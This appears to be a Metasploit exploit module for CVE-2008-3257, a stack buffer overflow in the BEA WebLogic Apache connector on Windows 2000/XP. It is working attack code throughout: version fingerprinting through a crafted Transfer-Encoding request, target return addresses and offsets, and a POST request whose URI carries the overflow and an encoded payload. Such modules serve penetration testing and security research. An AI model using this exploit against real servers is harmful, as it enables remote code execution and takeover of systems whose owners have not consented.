Oracle Weblogic Apache Connector POST Request Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
HttpFingerprint = { :pattern => [ /Apache/ ] }  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow in the BEA  
Weblogic Apache plugin.  
  
The connector fails to properly handle specially crafted HTTP POST  
requests, resulting a buffer overflow due to the insecure usage  
of sprintf. Currently, this module works over Windows systems without DEP,  
and has been tested with Windows 2000 / XP.  
  
In addition, the Weblogic Apache plugin version is fingerprinted with a POST  
request containing a specially crafted Transfer-Encoding header.  
},  
'Author' =>  
[  
'KingCope', # Vulnerability Discovery and PoC  
'juan vazquez', # Metasploit Module  
],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'CVE', '2008-3257' ],  
[ 'OSVDB', '47096' ],  
[ 'BID', '30273' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Platform' => 'win',  
'Payload' =>  
{  
'Space' => 4000,  
'BadChars' => "\x00\x0d\x0a\x3f"  
},  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'BEA WebLogic 8.1 SP6 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',  
{  
'Ret' => 0x10061f63, # push esp # ret # mod_wl_20.so  
'Offset' => 4102  
}  
],  
[ 'BEA WebLogic 8.1 SP5 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',  
{  
'Ret' => 0x10061473, # push esp # ret # mod_wl_20.so  
'Offset' => 4102  
}  
],  
[ 'BEA WebLogic 8.1 SP4 - mod_wl_20.so / Apache 2.0 / Windows [XP/2000]',  
{  
'Ret' => 0x10020e31, # push esp # ret # mod_wl_20.so  
'Offset' => 4102  
}  
]  
],  
'DisclosureDate' => 'Jul 17 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),  
], self.class)  
  
end  
  
  
def check  
  
fingerprint = fingerprint_mod_wl  
  
case fingerprint  
when /Version found/  
return Exploit::CheckCode::Vulnerable  
when /BEA WebLogic connector vulnerable/  
return Exploit::CheckCode::Appears  
when /BEA WebLogic connector undefined/  
return Exploit::CheckCode::Detected  
when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/  
return Exploit::CheckCode::Safe  
end  
  
end  
  
def exploit  
  
# Autodetect BEA mod_wl version  
my_target = get_target  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("BEA mod_weblogic not supported")  
return  
end  
  
uri = target_uri.path  
sploit = rand_text_alphanumeric(my_target['Offset']-uri.length)  
sploit << [my_target.ret].pack("V")  
sploit << payload.encoded  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => "#{uri} #{sploit}",  
})  
  
handler  
  
end  
  
def get_target  
  
return target if target.name != 'Automatic'  
  
fingerprint = fingerprint_mod_wl  
  
case fingerprint  
when /BEA WebLogic 8.1 SP6 - mod_wl_20.so/  
return targets[1]  
when /BEA WebLogic 8.1 SP5 - mod_wl_20.so/  
return targets[2]  
when /BEA WebLogic 8.1 SP4 - mod_wl_20.so/  
return targets[3]  
else  
return nil  
end  
  
end  
  
def fingerprint_mod_wl  
  
my_data = rand_text_alpha(rand(5) + 8)  
res = send_request_cgi(  
{  
'method' => 'POST',  
'uri' => target_uri.path,  
'headers' =>  
{  
'Transfer-Encoding' => my_data  
},  
'data' => "#{my_data.length}\r\n#{my_data}\r\n0\r\n",  
})  
  
if res and res.code == 200 and res.body =~ /Weblogic Bridge Message/  
# BEA WebLogic 8.1 SP6 - mod_wl_20.so  
case res.body  
when (/Build date\/time:<\/B> <I>Jun 16 2006 15:14:11/ and /Change Number:<\/B> <I>779586/)  
return "Version found: BEA WebLogic 8.1 SP6 - mod_wl_20.so"  
# BEA WebLogic 8.1 SP5 - mod_wl_20.so  
when (/Build date\/time:<\/B> <I>Aug 5 2005 11:19:57/ and /Change Number:<\/B> <I>616810/)  
return "Version found: BEA WebLogic 8.1 SP5 - mod_wl_20.so"  
when (/Build date\/time:<\/B> <I>Oct 25 2004 09:25:23/ and /Change Number:<\/B> <I>452998/)  
return "Version found: BEA WebLogic 8.1 SP4 - mod_wl_20.so"  
# Check for dates prior to patch release  
when /([A-Za-z]{3} [\s\d]{2} [\d]{4})/  
build_date = Date.parse($1)  
if build_date <= Date.parse("Jul 28 2008")  
return "BEA WebLogic connector vulnerable"  
else  
return "BEA WebLogic connector no vulnerable"  
end  
else  
return "BEA WebLogic connector undefined"  
end  
end  
  
return "BEA WebLogic connector not found"  
  
end  
  
end  
`